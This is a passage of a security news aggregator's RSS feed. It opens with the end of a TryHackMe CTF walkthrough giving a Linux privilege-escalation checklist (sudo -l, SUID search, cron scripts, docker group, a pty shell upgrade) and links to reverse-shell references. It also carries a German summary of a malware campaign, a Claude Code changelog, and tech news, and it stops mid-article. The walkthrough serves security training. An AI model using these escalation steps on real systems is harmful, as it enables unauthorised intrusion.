Fundamentals:</strong></p><ul><li>ls -la always — hidden files, permissions at a glance</li><li>find and grep -r for wide enumeration</li><li>env for environment variable inspection</li><li>file to identify file types regardless of extension</li><li>strings to extract readable data from binaries</li></ul><p><strong>Encoding &amp; Decoding:</strong></p><ul><li>Base64 (base64 -d), Hex (xxd -r -p), Binary (Python one-liner)</li><li>Reversed strings — check file content and filenames alike</li></ul><p><strong>Scripting Languages:</strong></p><ul><li>Python: pty.spawn("/bin/bash") for shell upgrade</li><li>Ruby: exec "/bin/bash" or Dir/File for file ops</li><li>Java: javac → java, C: gcc → ./binary</li></ul><p><strong>Privilege Escalation Checklist:</strong></p><ol><li>sudo -l → GTFOBins</li><li>find / -perm -4000 2&gt;/dev/null → SUID binaries → GTFOBins</li><li>cat /etc/crontab + ls /etc/cron.d/ → writable scripts run by root</li><li>id → check group memberships (docker!)</li><li>Check $PATH, env variables, writable directories in PATH</li></ol><h3>📚 Resources</h3><ul><li>🔗 <a href="https://gtfobins.github.io/">GTFOBins</a> — sudo/SUID binary exploitation reference</li><li>🔗 <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">PayloadsAllTheThings — Reverse Shell Cheatsheet</a></li><li>🔗 <a href="https://www.exploit-db.com/exploits/47502">Exploit-DB: CVE-2019–14287</a></li><li>🔗 <a href="https://tryhackme.com/room/sudovulnsbypass">TryHackMe: Sudo Security Bypass</a></li><li>🔗 <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation">HackTricks: Docker Breakout</a></li><li>🔗 <a href="https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html">RapidTables Converter</a></li></ul><h3>💬 Final Thoughts</h3><p><strong>Linux Agency</strong> is not just a CTF room — it’s a condensed simulation of a real lateral movement and privilege escalation engagement. The 30-user chain forces you to internalize Linux enumeration as a reflex, not a checklist. The privilege escalation phase covers more ground than most dedicated PrivEsc rooms.</p><p>If you’re preparing for <strong>OSCP</strong>, <strong>CPTS</strong> or any practical security certification, this room belongs in your training regimen. Do it without hints first, refer to this write-up only when truly stuck — the struggle is where the learning happens.</p><p><em>Happy Hacking! 🐧</em></p><p><em>Tags: #TryHackMe #CTF #LinuxAgency #PrivilegeEscalation #Linux #Pentesting #CyberSecurity #OSCP #GTFOBins #WriteUp</em></p><p><em>If you found this useful, feel free to connect on </em><a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a><em> or check out my tools on </em><a href="https://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=82a20bd23d67" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-linux-agency-complete-write-up-walkthrough-82a20bd23d67">TryHackMe — Linux Agency | Complete Write-Up &amp; Walkthrough</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Thoughts From a First-Time Linux User]]></title>
<description><![CDATA[Sorry for the long read I was just kicking tires and wanted to write this. I wanted to share my experience with using Linux for the first time. I started using Linux in 2024 when I bought my first gaming laptop. I have loved it, so I want to share some of my pro's and con's about it. I have an AS...]]></description>
<link>https://tsecurity.de/de/3674926/linux-tipps/thoughts-from-a-first-time-linux-user/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674926/linux-tipps/thoughts-from-a-first-time-linux-user/</guid>
<pubDate>Fri, 17 Jul 2026 04:10:56 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Sorry for the long read I was just kicking tires and wanted to write this.</p> <p>I wanted to share my experience with using Linux for the first time. I started using Linux in 2024 when I bought my first gaming laptop. I have loved it, so I want to share some of my pro's and con's about it.</p> <p>I have an ASUS Rog Zephyrus G16 laptop. It has a Intel Core 9, RTX 4070M, and 16GB RAM.</p> <p>I played games as a kid, but when I went to university I bought a slug so I was not tempted to play games all day. That laptop carried me until senior year when I got a gaming laptop because I needed better hardware to run Unity and Android Studio.</p> <p>And <em>hooooooly shit</em> I would rather walk 40 days and 40 nights in the desert than use Windows 11 anymore.</p> <p>The ram usage is insane. From my previous experience gaming in my teens I figured 16 gigabytes of ram would be sufficient, but now it's like Palantir is running army drone simulations on it. The worst part is some of the basic software shoves the Windows Store down your throat. I couldn't even install Python without Bill Gates personally coming to my house to ask me if I had the proper security clearances and a Windows account. As a hail mary I installed Ubuntu.</p> <p><strong>Some pros:</strong></p> <p>Installing applications took some getting used to. I really am terminal-averse, but after practicing some installations I really found it quite easy. It really is nice to not have to go to multiple websites to download Steam or Discord.</p> <p>It runs fast and it runs cool. My laptop runs <em>ten degrees cooler</em> than it does on Windows 11. I have no clue why. It runs all of the same applications as Windows but with less usage, less ram, and at lower temperatures.</p> <p>I can configure anything. If I don't like my UI, or something is broken, I can fix it. I really don't think my switch would have been as smooth if it had not been for having a Claude subscription. I really think it helped with the out of box setup. For example, I had this super obscure bug where the brightness controller was not working. My specific machine would not respond to the existing brightness dial, so I had Claude take a look and it wrote a prefix into <em>initramfs</em> to select the correct driver for my HDR display. That would have taken me weeks to solve, especially because there were zero internet resources for it.</p> <p><strong>Some cons:</strong></p> <p>I hate to say it, but I really dislike certain Linux communities. A handful of them seem to believe that the harder a software is to use, the more genius it makes them. It drives me up a wall. If it doesn't have to be complicated, then it shouldn't be complicated! When it comes to getting help, the first primitive reflex some Linux users seem to have is to tell me to switch distros, and I totally hate it. If my problem is so bad that I literally have to switch entire operating systems to solve it, then I am better off getting a Mac. People wonder why nobody uses Linux, and I really think this is the crux of it. The people that should be your advocates have left the room. (Except for you, Reader. You're awesome! 😄).</p> <p>Some things could be easier. Windows allows people to just download an installer and run it with full GUI. Now that I'm intermediately seasoned on Linux, I don't really need installs to be that easy, but if I was someone starting from zero it would be nice to have some modern flow to installations and removals of software like Windows has. Now fortunately, many distros have a Software Center you can use, it's just that those are limited to major softwares.</p> <p>I can configure anything until it's broken. When I started using Ubuntu, I was setting up a KVM to run some games that were Windows-only compatible, and I bricked the entire OS a couple of times. I really don't think that this should change, but if I were giving advice to someone who just installed Linux I would definitely remind them to have their own thumb drive at all times haha.</p> <p>As Linux users, what are your thoughts on the OS? Is there anything that you think Linux does better than Windows? Anything you'd like to change?</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/TheWinningHit"> /u/TheWinningHit </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uyheee/thoughts_from_a_firsttime_linux_user/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uyheee/thoughts_from_a_firsttime_linux_user/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Der PhantomEnigma-Angriff: Wie Angreifer brasilianische Behörden-Seiten missbrauchen]]></title>
<description><![CDATA[Überblick Die IT-Sicherheitsfirma ANY.RUN hat eine aktive Schadprogramm-Kampagne (Malware-Kampagne) namens PhantomEnigma aufgedeckt. Dabei wurden mehr als 20 brasilianische Regierungswebsites (mit der Endung .gov.br) gekapert. Die Angreifer nutzen diese vertrauenswürdigen, staatlichen Seiten nich...]]></description>
<link>https://tsecurity.de/de/3674911/it-security-nachrichten/der-phantomenigma-angriff-wie-angreifer-brasilianische-behoerden-seiten-missbrauchen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674911/it-security-nachrichten/der-phantomenigma-angriff-wie-angreifer-brasilianische-behoerden-seiten-missbrauchen/</guid>
<pubDate>Fri, 17 Jul 2026 04:09:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><h1>Überblick</h1> <p>Die IT-Sicherheitsfirma <a href="https://any.run/"><em>ANY.RUN</em></a> hat eine aktive Schadprogramm-Kampagne (Malware-Kampagne) namens <strong>PhantomEnigma</strong> aufgedeckt. Dabei wurden mehr als 20 brasilianische Regierungswebsites (mit der Endung <code>.gov.br</code>) gekapert. Die Angreifer nutzen diese vertrauenswürdigen, staatlichen Seiten nicht als Endziel, sondern als Verteilerplattformen (Vektoren), um Schadsoftware unbemerkt zu verbreiten.</p> <h1>Der Ablauf des Angriffs (Angriffskette)</h1> <p>Der Angriff erfolgt über mehrere, aufeinanderfolgende Schritte:</p> <ol> <li><strong>Täuschende Köder (Phishing-E-Mails):</strong> Opfer erhalten gefälschte E-Mails mit Bezug zu Polizei- oder Behördendokumenten (z. B. angebliche digitale Vollmachten). Diese enthalten QR-Codes oder Links. <ul> <li><em>Besonderheit:</em> Die E-Mails stammen oft aus echten, aber kompromittierten Postfächern und bestehen gängige Sicherheitsprüfungen (SPF, DKIM, DMARC), wodurch sie täuschend echt wirken.</li> </ul></li> <li><strong>Weiterleitung über Regierungsseiten:</strong> Klickt das Opfer auf den Link, wird es über gehackte Webseiten von brasilianischen Kommunen, Justizportalen oder Sicherheitsbehörden (z. B. der Feuerwehr) umgeleitet. Das tarnt die bösartige Aktivität.</li> <li><strong>Schädliches Installationsprogramm:</strong> Der Nutzer lädt eine manipulierte Installationsdatei (z. B. Inno Setup oder MSI) herunter.</li> <li><strong>Hintertür (Backdoor-Aktivierung):</strong> Das Schadprogramm nistet sich in einer eigentlich legitimen Software ein (z. B. über eine manipulierte JavaScript-Datei <code>index.js</code>).</li> <li><strong>Zweite Stufe (Payload):</strong> Die aktivierte Hintertür lädt je nach Bedarf weitere Schadsoftware nach (z. B. Programme zum Datendiebstahl, Fernsteuerungswerkzeuge oder Spionage-Software).</li> </ol> <h1>Entwicklung der Bedrohung (Evolution)</h1> <p>Die Angreifer haben ihre Methoden im Laufe der Zeit professionalisiert:</p> <ul> <li><strong>Verbreitungsweg:</strong> Während 2025 noch der Fokus auf dem Diebstahl von Bankdaten lag, missbraucht die Kampagne 2026 verstärkt vertrauenswürdige staatliche Webseiten und E-Mail-Konten.</li> <li><strong>Schadprogramm (Arsenal):</strong> Die Schadsoftware hat sich von einer einfachen Browser-Erweiterung für Online-Banking zu einer modular aufgebauten Hintertür (Backdoor) entwickelt, die flexibel Befehle ausführen kann.</li> </ul> <h1>Fähigkeiten der Hintertür (Backdoor)</h1> <p>Sobald die Hintertür auf dem Computer des Opfers aktiv ist, kann sie:</p> <ul> <li>Systemdaten (Computer- und Benutzernamen) ausspähen.</li> <li>Eine dauerhafte Verbindung zum System einrichten (Autostart/Persistence).</li> <li>Alle drei Minuten neue Befehle von den Servern der Angreifer abfragen.</li> <li>Direkt Programmierbefehle (JavaScript) ausführen.</li> <li>Beliebige weitere Schadprogramme herunterladen und starten.</li> </ul> <h1>Relevanz und Empfehlungen für Unternehmen und Behörden</h1> <p>Da die Angriffe über offiziell beglaubigte E-Mails und seriöse Regierungs-Domains laufen, versagen herkömmliche Sicherheitsfilter und statische Sperrlisten oft. Für Banken und Behörden besteht das Risiko von Datenabfluss, Identitätsdiebstahl und Finanzbetrug.</p> <ul> <li><strong>Empfehlung:</strong> Sicherheitsverantwortliche sollten sich nicht allein auf automatisierte Dateiprüfungen verlassen, sondern auf kontinuierliche Verhaltensanalysen (Behavioral Analysis) und proaktive Bedrohungssuche (Threat Hunting) setzen. Zudem sollten Mitarbeitende eine einfache Möglichkeit erhalten, verdächtige Behörden-Mails direkt zu melden.</li> </ul> <p><strong>Quelle:</strong><br> <a href="https://thehackernews.com/2026/07/20-hijacked-government-websites.html">20+ Hijacked Government Websites Becamean Attack Channel</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Horus_Sirius"> /u/Horus_Sirius </a> <br> <span><a href="https://www.reddit.com/r/Computersicherheit/comments/1uy68sj/der_phantomenigmaangriff_wie_angreifer/">[link]</a></span>   <span><a href="https://www.reddit.com/r/Computersicherheit/comments/1uy68sj/der_phantomenigmaangriff_wie_angreifer/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.212]]></title>
<description><![CDATA[What's changed

/fork now copies your conversation into a new background session (its own row in claude agents) while you keep working; the in-session subagent it used to launch is now /subtask
Added claude auto-mode reset to restore the default auto-mode configuration, with a confirmation prompt...]]></description>
<link>https://tsecurity.de/de/3674861/downloads/v21212/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674861/downloads/v21212/</guid>
<pubDate>Fri, 17 Jul 2026 02:31:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li><code>/fork</code> now copies your conversation into a new background session (its own row in <code>claude agents</code>) while you keep working; the in-session subagent it used to launch is now <code>/subtask</code></li>
<li>Added <code>claude auto-mode reset</code> to restore the default auto-mode configuration, with a confirmation prompt (pass <code>--yes</code> to skip)</li>
<li>Added a session-wide limit on WebSearch tool calls (default 200, tunable via <code>CLAUDE_CODE_MAX_WEB_SEARCHES_PER_SESSION</code>) to stop runaway search loops</li>
<li>Added a per-session cap on subagent spawns (default 200, override with <code>CLAUDE_CODE_MAX_SUBAGENTS_PER_SESSION</code>) to stop runaway delegation loops; <code>/clear</code> resets the budget</li>
<li>MCP tool calls running longer than 2 minutes now move to the background automatically so the session stays usable; configure the threshold or disable with <code>CLAUDE_CODE_MCP_AUTO_BACKGROUND_MS</code></li>
<li>Typing <code>/resume</code> in the agent view now opens a picker of past sessions — including sessions deleted from the list — and resumes your pick as a background session</li>
<li>Fixed plan mode auto-running file-modifying Bash commands (e.g. <code>touch</code>, <code>rm</code>) without a permission prompt or SDK <code>canUseTool</code> callback</li>
<li>Fixed worktree creation following a repository-committed symlink at <code>.claude/worktrees</code>, which could create files outside the repository</li>
<li>Fixed a <code>continue:false</code> hook's halt being dropped when the tool fails or completes mid-stream, and hook infrastructure errors being misreported as user rejections</li>
<li>Fixed SIGTERM during a running Bash tool orphaning the command's process tree in print/SDK mode; the CLI now aborts the turn, kills the tree, and exits 143</li>
<li>Fixed <code>/background</code> and <code>claude --bg</code> failing with "EUNKNOWN: unknown error, uv_spawn" on Windows when Group Policy blocks PowerShell 5.1; the daemon now prefers PowerShell 7</li>
<li>Fixed shell mode (<code>!</code>) not executing commands containing file paths while the path autocomplete popup was open</li>
<li>Fixed auto-mode denial notifications rendering broken characters when a long denial reason was truncated mid-emoji</li>
<li>Fixed Ctrl+J not inserting a newline in the agent view dispatch input on terminals with extended key reporting, and surfaced the newline shortcut in the <code>?</code> help overlay</li>
<li>Fixed <code>/ultrareview</code> rejecting PR references like <code>#123</code>, <code>PR 123</code>, and pasted PR URLs; error hints now name the command you actually typed</li>
<li>Fixed <code>/ultrareview &lt;branch&gt;</code> not fetching the branch from origin when it exists remotely; it now suggests the closest branch name on typos</li>
<li>Fixed <code>/ultrareview</code> skipping the billing confirmation in a new conversation after <code>/clear</code></li>
<li>Fixed <code>/ultrareview</code>'s "not a git repository" error on Claude Desktop now suggesting the project's repository folder instead of terminal commands</li>
<li>Fixed hosted (host-managed) sessions failing at startup when repository settings configured mTLS certs, extra CA bundles, or OAuth scopes; these transport settings are now ignored with a warning</li>
<li>Fixed a spurious "File has not been read yet" error when editing a file that had been read with offset/limit before resuming a session</li>
<li>Fixed <code>ExitWorktree</code> failing with "no active EnterWorktree session" after resuming a session with <code>--continue</code>/<code>--resume</code> in print/SDK mode</li>
<li>Fixed the workflow agent grid staying empty for Remote Control clients that join a session mid-run</li>
<li>Fixed streaming-mode control requests being marked complete before their handler finished, which could lose the request on session restart</li>
<li>Fixed background sessions created with <code>/fork</code> losing their live-parent protection after a state write failure</li>
<li>Fixed reopening a stopped background session from the agent view failing silently — it now resumes the session, or shows why it can't and lets you force a restart</li>
<li>Fixed agent teams: a stopping teammate could send the leader duplicate idle notifications when team initialization re-ran within a session</li>
<li>Fixed the plan-approval dialog footer splitting "ctrl+g to edit in " apart when the file path is long</li>
<li>Fixed the welcome banner keeping its old panel widths after a combined width+height terminal resize in fullscreen mode</li>
<li>Fixed diff previews losing their line numbers and +/- markers in narrow layouts</li>
<li>Fixed @-mentions attaching nothing after a partial file read, plugin uninstall targeting the wrong marketplace, and false "Command timed out" on exit code 143</li>
<li>Fixed OpenTelemetry HTTP exports being rejected with 411/400 by Azure Monitor and other endpoints that don't accept chunked transfer encoding</li>
<li>Fixed OTLP event log records missing <code>trace_id</code>/<code>span_id</code> when <code>TRACEPARENT</code> is set in SDK/headless mode</li>
<li>Fixed conversations with many images incorrectly failing with "Request too large" errors, and improved the error message to explain the actual cause</li>
<li>Fixed web search and web fetch returning "API Error" text as search results or page content when the API was overloaded</li>
<li>Improved web search and web fetch reliability by retrying 529 errors and rate-limited requests with bounded backoff</li>
<li>Improved prompt caching: the mid-conversation system block now works behind LLM gateways and custom base URLs (Bedrock, Vertex, 1P)</li>
<li>Improved background agent attach: cold-attaching now instantly shows the formatted transcript while the session boots, instead of a blank wait</li>
<li>Reduced token usage in inter-agent messaging: <code>SendMessage</code> bodies are no longer duplicated into replayed history and tool results</li>
<li>Changed <code>/fork</code> to name the copy after your prompt when the session has no title, so the row is recognizable in the agent view</li>
<li>Changed bare <code>/btw</code> to reopen the side-question panel on your most recent exchange so you can browse earlier answers</li>
<li>Changed the <code>←</code> footer hint to pulse <code>N done</code> for a moment when a background agent finishes while nothing needs your input</li>
<li>Deprecated the Task tool's <code>mode</code> parameter (now ignored); subagents inherit the parent session's permission mode by default</li>
<li>Changed Enterprise <code>forceLoginMethod</code> to be enforced for VS Code extension, SDK, <code>setup-token</code>, and <code>install-github-app</code> logins, not just the terminal</li>
<li>Changed session transcripts to record the reasoning effort level on each assistant message</li>
<li>Changed headless/SDK sessions to apply a <code>set_model</code> control request mid-turn; the next model round-trip uses the new model instead of waiting for the next turn</li>
<li>Changed agent view / <code>claude agents --json</code>: sessions waiting on a sandbox, MCP-input, or managed-settings prompt now show as "Needs input" instead of "Working"</li>
<li>Updated the auth status panel title from "Cloud authentication" to "Authentication"</li>
<li>Corrected an earlier release note (2.1.200): tmux through the 3.6 series lacks synchronized output; newer tmux with support is detected automatically</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The BIOS Password Mistake]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:96 Not every "BIOS password" is actually the same thing.

In this conversation, the distinction is made between a BIOS setup password, a boot password, a hard drive password, and a BitLocker recovery key. Each protects a different l...]]></description>
<link>https://tsecurity.de/de/3674736/it-security-video/the-bios-password-mistake/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674736/it-security-video/the-bios-password-mistake/</guid>
<pubDate>Fri, 17 Jul 2026 00:18:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:96 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/3P62uY6obOs?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Not every "BIOS password" is actually the same thing.<br />
<br />
In this conversation, the distinction is made between a BIOS setup password, a boot password, a hard drive password, and a BitLocker recovery key. Each protects a different layer of the system.<br />
<br />
Confusing these terms can lead to incorrect troubleshooting, mistaken security assumptions, or unnecessary recovery efforts. Knowing what each password actually protects makes it much easier to understand why a system is locked—or what kind of credential is really being requested.<br />
<br />
The conversation also highlights a common misconception: BitLocker recovery is separate from firmware authentication.<br />
<br />
Which password type do you think creates the most confusion for IT professionals and everyday users?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#BIOS #TechExplained #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[NanoKVM-Go Brings AI-Powered Hardware Control to Linux with a Compact USB-C KVM]]></title>
<description><![CDATA[by George Whittaker
      
            Sipeed has introduced NanoKVM-Go, a compact USB-C KVM-over-IP device that combines remote hardware management with AI integration. Designed for Linux, Windows, macOS, and other USB-C devices, NanoKVM-Go allows users to remotely view and control a system thro...]]></description>
<link>https://tsecurity.de/de/3674731/unix-server/nanokvm-go-brings-ai-powered-hardware-control-to-linux-with-a-compact-usb-c-kvm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674731/unix-server/nanokvm-go-brings-ai-powered-hardware-control-to-linux-with-a-compact-usb-c-kvm/</guid>
<pubDate>Fri, 17 Jul 2026 00:16:05 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-history-node-id="1341445" class="layout layout--onecol">
    <div class="layout__region layout__region--content">
      
            <div class="field field--name-field-node-image field--type-image field--label-hidden field--item">  <img loading="lazy" src="https://www.linuxjournal.com/sites/default/files/nodeimage/story/nanokvm-go-brings-ai-powered-hardware-control-to-linux-with-a-compact-usb-c-kvm.jpg" width="850" height="500" alt="NanoKVM-Go Brings AI-Powered Hardware Control to Linux with a Compact USB-C KVM" typeof="foaf:Image" class="img-responsive"></div>
      
            <div class="field field--name-node-author field--type-ds field--label-hidden field--item">by <a title="View user profile." href="https://www.linuxjournal.com/users/george-whittaker" lang="" about="https://www.linuxjournal.com/users/george-whittaker" typeof="schema:Person" property="schema:name" datatype="" xml:lang="">George Whittaker</a></div>
      
            <div class="field field--name-body field--type-text-with-summary field--label-hidden field--item"><p>Sipeed has introduced <strong>NanoKVM-Go</strong>, a compact USB-C KVM-over-IP device that combines remote hardware management with AI integration. Designed for Linux, Windows, macOS, and other USB-C devices, NanoKVM-Go allows users to remotely view and control a system through a web browser while exposing its keyboard, mouse, and display functions to AI agents via the <strong>Model Context Protocol (MCP)</strong>.</p>

<p>Unlike traditional KVM-over-IP solutions that require multiple cables and dedicated networking hardware, NanoKVM-Go simplifies the setup into a single USB-C connection, making remote administration and AI-assisted automation more accessible for developers, system administrators, and homelab enthusiasts.</p>

<h2><strong>A Portable USB-C KVM</strong></h2>

<p>NanoKVM-Go is roughly the size of a smartwatch, measuring about <strong>45 × 40 × 15 mm</strong>, yet it combines several functions into a single device.</p>

<p>Key hardware features include:</p>

<ul><li>USB-C connection for video, audio, keyboard, mouse, and power</li>
	<li>Wi-Fi 6 connectivity</li>
	<li>Browser-based remote management</li>
	<li>Support for virtual USB storage</li>
	<li>Built-in Tailscale integration for secure remote access</li>
	<li>Fanless aluminum enclosure with low power consumption</li>
</ul><p>Because it connects over USB-C using DisplayPort Alt Mode, the device can manage a wide variety of hardware without requiring software installation on the target system.</p>

<h2><strong>Designed for Linux and Beyond</strong></h2>

<p>NanoKVM-Go supports numerous USB-C devices, including:</p>

<ul><li>Linux desktops and laptops</li>
	<li>Windows PCs</li>
	<li>macOS systems</li>
	<li>Mini PCs</li>
	<li>Steam Deck</li>
	<li>Android devices with DisplayPort Alt Mode</li>
	<li>iPhone 15 and newer models</li>
	<li>Tablets supporting USB-C video output</li>
</ul><p>For Linux users, this provides an easy way to perform BIOS configuration, operating system installation, kernel debugging, or remote troubleshooting—even when the operating system is unavailable.</p>

<h2><strong>AI Integration Through MCP</strong></h2>

<p>One of NanoKVM-Go's defining features is its <strong>AI-native design</strong>.</p>

<p>Rather than simply streaming a desktop remotely, the device exposes its KVM functions as an <strong>MCP (Model Context Protocol) server</strong>, allowing compatible AI agents to interact with the connected computer using hardware-level keyboard and mouse input.</p>

<p>This enables AI systems to:</p>

<ul><li>View the screen</li>
	<li>Move the mouse</li>
	<li>Type on the keyboard</li>
	<li>Launch applications</li>
	<li>Navigate user interfaces</li>
	<li>Complete repetitive desktop workflows</li>
</ul><p>Because control happens at the hardware level, AI agents can interact with systems regardless of the operating system installed.</p></div>
      
            <div class="field field--name-node-link field--type-ds field--label-hidden field--item">  <a href="https://www.linuxjournal.com/content/nanokvm-go-brings-ai-powered-hardware-control-linux-compact-usb-c-kvm" hreflang="en">Go to Full Article</a>
</div>
      
    </div>
  </div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build enterprise search for agents with Amazon Bedrock Managed Knowledge Base]]></title>
<description><![CDATA[In this post, we walk through the three pillars that make this possible: simplified setup, smarter retrieval, and production readiness. We also show you code examples for setting up a knowledge base and retrieving from it.]]></description>
<link>https://tsecurity.de/de/3674684/ai-nachrichten/build-enterprise-search-for-agents-with-amazon-bedrock-managed-knowledge-base/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674684/ai-nachrichten/build-enterprise-search-for-agents-with-amazon-bedrock-managed-knowledge-base/</guid>
<pubDate>Thu, 16 Jul 2026 23:33:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, we walk through the three pillars that make this possible: simplified setup, smarter retrieval, and production readiness. We also show you code examples for setting up a knowledge base and retrieving from it.]]></content:encoded>
</item>
<item>
<title><![CDATA[China’s Moonshot AI releases Kimi K3, the largest open-source model ever, rivaling top U.S. systems]]></title>
<description><![CDATA[Moonshot AI, the Beijing-based artificial intelligence startup backed by Alibaba, on Thursday released Kimi K3 — a 2.8-trillion-parameter model that the company says is now the largest open-source AI model in the world, and one that benchmarks show performs neck-and-neck with the most powerful pr...]]></description>
<link>https://tsecurity.de/de/3674665/it-nachrichten/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-us-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674665/it-nachrichten/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-us-systems/</guid>
<pubDate>Thu, 16 Jul 2026 23:17:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.moonshot.ai/">Moonshot AI,</a> the Beijing-based artificial intelligence startup backed by Alibaba, on Thursday released <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> — a 2.8-trillion-parameter model that the company says is now the largest open-source AI model in the world, and one that benchmarks show performs neck-and-neck with the most powerful proprietary systems from <a href="https://www.anthropic.com/">Anthropic</a> and <a href="https://openai.com/">OpenAI</a>.</p><p>The release, timed to land just ahead of the <a href="https://aiii.global/waic-2026/">2026 World Artificial Intelligence Conference</a> in Shanghai, is a dramatic escalation in the global AI arms race and a watershed moment for the open-source AI movement. It also marks a remarkable comeback for a company whose market position had eroded significantly over the past 18 months following DeepSeek's meteoric rise.</p><p>Full model weights are scheduled to be released on July 27, according to details shared by researchers who reviewed the company's technical documentation. If you want to take <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> for a spin right now, you can — just head to<a href="https://www.kimi.com/"> kimi.com</a>, sign up with a Google account or phone number (no credit card required), and start chatting with what may be the most powerful open-source model ever built.</p><div></div><h2><b>Inside the architecture that powers the world's largest open-source AI model</b></h2><p><a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> is a frontier-class large language model with 2.8 trillion total parameters — roughly 75 percent larger than <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek's V4 Pro</a>, which the company's own timeline chart shows at approximately 1.6 trillion parameters. The model features a 1-million-token context window, native visual understanding capabilities, and an always-on reasoning mode that the company calls "thinking mode."</p><p>The model is built on two key architectural innovations developed internally at Moonshot AI: <a href="https://arxiv.org/abs/2510.26692">Kimi Delta Attention</a>, a hybrid linear attention mechanism, and <a href="https://arxiv.org/abs/2603.15031">Attention Residuals</a>, which the company describes as a drop-in replacement for residual connections that delivers consistent scaling gains. Both techniques were previously published as open research by the Moonshot team on <a href="https://github.com/moonshotai">GitHub</a>.</p><p>On the <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">API side</a>, Kimi K3 is compatible with the <a href="https://developers.openai.com/api/docs/guides/agents">OpenAI SDK</a>, lowering the integration barrier for developers already building on OpenAI or Anthropic toolchains. The model is priced at $3 per million input tokens and $15 per million output tokens, with cached input tokens dropping to just $0.30 per million — pricing that positions it roughly in line with mid-tier offerings from Western labs, but at a performance level the company claims approaches the top of the market. A promotional top-up rebate running through August 12 offers up to 30 percent back in vouchers for API credits of $1,000 or more.</p><p>As <a href="https://finance.sina.com.cn/stock/t/2026-07-17/doc-inihzrtu1375218.shtml?cref=cj">Xinhua reported</a>, a Moonshot AI executive explained the significance of the parameter count in simple terms: parameters are like neural connections in the human brain, and nearly 3 trillion of them means the model can "store more knowledge and patterns in its brain, understand more, think deeper, and answer more accurately."</p><div></div><h2><b>Benchmark results show Kimi K3 trading blows with Claude and GPT at the top of the leaderboard</b></h2><p>The benchmark results, drawn from public leaderboard data and a private evaluation by analytics firm Artificial Analysis, tell a striking story.</p><p>On <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA v2</a>, a benchmark measuring real-world tasks across 44 occupations and 9 major industries, Kimi K3 scored 1,687 — placing it third overall, behind only Claude Fable 5 Max (1,815) and GPT-5.6 Sol Max (1,747.8), and ahead of Claude Opus 4.8 (1,600).</p><p>On <a href="https://artificialanalysis.ai/evaluations/aa-briefcase">AA-Briefcase</a>, a private agentic benchmark from Artificial Analysis designed to test long-horizon knowledge work, K3 climbed to second place with a score of 1,527 — beating GPT-5.6 Sol Max (1,495) and trailing only Fable 5 Max (1,587).</p><p>Perhaps most impressively, K3 achieved a state-of-the-art score of 91.2 out of 100 on <a href="https://openai.com/index/browsecomp/">BrowseComp</a>, a benchmark for long-horizon, high-difficulty information seeking. </p><p>The company says it accomplished this in a single-agent setup using its 1-million-token context window, without any context compression or additional context management techniques — a feat that suggests raw context length, when paired with strong 